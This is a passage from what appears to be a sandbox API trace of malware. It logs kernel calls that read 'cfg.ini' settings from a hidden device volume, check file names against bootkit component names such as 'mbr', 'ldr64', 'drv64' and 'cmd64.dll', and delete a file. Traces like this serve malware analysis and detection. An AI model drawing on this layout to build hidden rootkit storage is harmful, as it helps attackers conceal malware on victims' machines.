[0118.259] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.259] KeEnterCriticalRegion () [0118.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.259] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.259] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d7820, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.259] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.259] KeLeaveCriticalRegion () [0118.259] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.259] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.259] KeEnterCriticalRegion () [0118.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.259] ExFreePoolWithTag (P=0xfffffa80039d10e0, Tag=0x0) [0118.259] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.259] KeLeaveCriticalRegion () [0118.259] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.259] ReleaseMutex (hMutex=0xf0) returned 1 [0118.259] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.259] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.259] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.259] KeEnterCriticalRegion () [0118.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.259] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.259] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.259] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.259] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.259] IdePortDispatch () returned 0x103 [0118.259] KeWaitForMutexObject () returned 0x0 [0118.259] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.259] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.259] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.260] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.260] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.260] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd77b0 [0118.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.260] KeLeaveCriticalRegion () [0118.260] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.260] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.260] KeEnterCriticalRegion () [0118.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.260] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.260] KeLeaveCriticalRegion () [0118.260] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.260] KeEnterCriticalRegion () [0118.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.260] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.260] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.260] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.260] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.260] IdePortDispatch () returned 0x103 [0118.260] KeWaitForMutexObject () returned 0x0 [0118.260] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.260] KeLeaveCriticalRegion () [0118.260] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.260] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.260] KeEnterCriticalRegion () [0118.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.260] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca5000 [0118.260] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.260] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.261] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.261] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.261] IdePortDispatch () returned 0x103 [0118.261] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.261] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.261] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.261] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.261] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.261] IdePortDispatch () returned 0x103 [0118.261] KeWaitForMutexObject () returned 0x0 [0118.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.261] KeLeaveCriticalRegion () [0118.261] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.262] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.262] KeEnterCriticalRegion () [0118.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.262] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.262] KeLeaveCriticalRegion () [0118.262] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.262] KeEnterCriticalRegion () [0118.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.262] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.262] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aae5e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.262] KeLeaveCriticalRegion () [0118.262] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.262] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.262] KeEnterCriticalRegion () [0118.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.262] ExFreePoolWithTag (P=0xfffffa8003bd77b0, Tag=0x0) [0118.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.262] KeLeaveCriticalRegion () [0118.262] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.262] ReleaseMutex (hMutex=0xf0) returned 1 [0118.262] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.262] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.262] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.262] KeEnterCriticalRegion () [0118.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.262] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.262] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.262] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.262] IdePortDispatch () returned 0x103 [0118.263] KeWaitForMutexObject () returned 0x0 [0118.263] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.263] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.263] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.263] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.263] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.263] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d09b0 [0118.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.263] KeLeaveCriticalRegion () [0118.263] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.263] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.263] KeEnterCriticalRegion () [0118.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.263] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.263] KeLeaveCriticalRegion () [0118.263] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.263] KeEnterCriticalRegion () [0118.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.263] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.263] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.263] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.263] IdePortDispatch () returned 0x103 [0118.263] KeWaitForMutexObject () returned 0x0 [0118.263] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.263] KeLeaveCriticalRegion () [0118.263] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.264] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.264] KeEnterCriticalRegion () [0118.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.264] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca6000 [0118.264] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.264] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.264] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.264] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.264] IdePortDispatch () returned 0x103 [0118.264] KeWaitForMutexObject () returned 0x0 [0118.264] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.264] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.264] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.264] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.264] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.264] IdePortDispatch () returned 0x103 [0118.264] KeWaitForMutexObject () returned 0x0 [0118.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.264] KeLeaveCriticalRegion () [0118.264] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.265] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.265] KeEnterCriticalRegion () [0118.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.265] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.265] KeLeaveCriticalRegion () [0118.265] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.265] KeEnterCriticalRegion () [0118.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.265] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.265] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c8070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.265] KeLeaveCriticalRegion () [0118.265] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.265] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.265] KeEnterCriticalRegion () [0118.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.265] ExFreePoolWithTag (P=0xfffffa80039d09b0, Tag=0x0) [0118.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.265] KeLeaveCriticalRegion () [0118.265] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.265] ReleaseMutex (hMutex=0xf0) returned 1 [0118.265] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.265] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.265] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.265] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.265] KeEnterCriticalRegion () [0118.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.266] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.266] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.266] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.266] IdePortDispatch () returned 0x103 [0118.266] KeWaitForMutexObject () returned 0x0 [0118.266] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.266] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.266] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.266] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.266] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.266] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.266] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.266] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.266] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.266] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.266] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.266] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.266] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.266] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.266] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.266] KeLeaveCriticalRegion () [0118.266] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.266] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.266] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.266] KeEnterCriticalRegion () [0118.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.266] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.266] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.266] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.266] IdePortDispatch () returned 0x103 [0118.267] KeWaitForMutexObject () returned 0x0 [0118.267] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.267] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.267] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.267] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.267] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.267] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.267] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.267] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.267] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.267] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.267] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.267] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.267] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.267] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.267] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.267] KeLeaveCriticalRegion () [0118.267] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.267] ReleaseMutex (hMutex=0x100) returned 1 [0118.267] Sleep (dwMilliseconds=0x2bf20) [0118.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69b21110, dwHighDateTime=0x1d24fa4)) [0118.274] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.274] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.274] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.274] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.274] KeEnterCriticalRegion () [0118.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.274] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.274] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.274] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.274] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.274] IdePortDispatch () returned 0x103 [0118.275] KeWaitForMutexObject () returned 0x0 [0118.275] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.275] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.275] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.275] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.275] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.275] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ad2bf0 [0118.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.275] KeLeaveCriticalRegion () [0118.275] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.275] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.275] KeEnterCriticalRegion () [0118.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.275] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.275] KeLeaveCriticalRegion () [0118.275] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.275] KeEnterCriticalRegion () [0118.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.275] 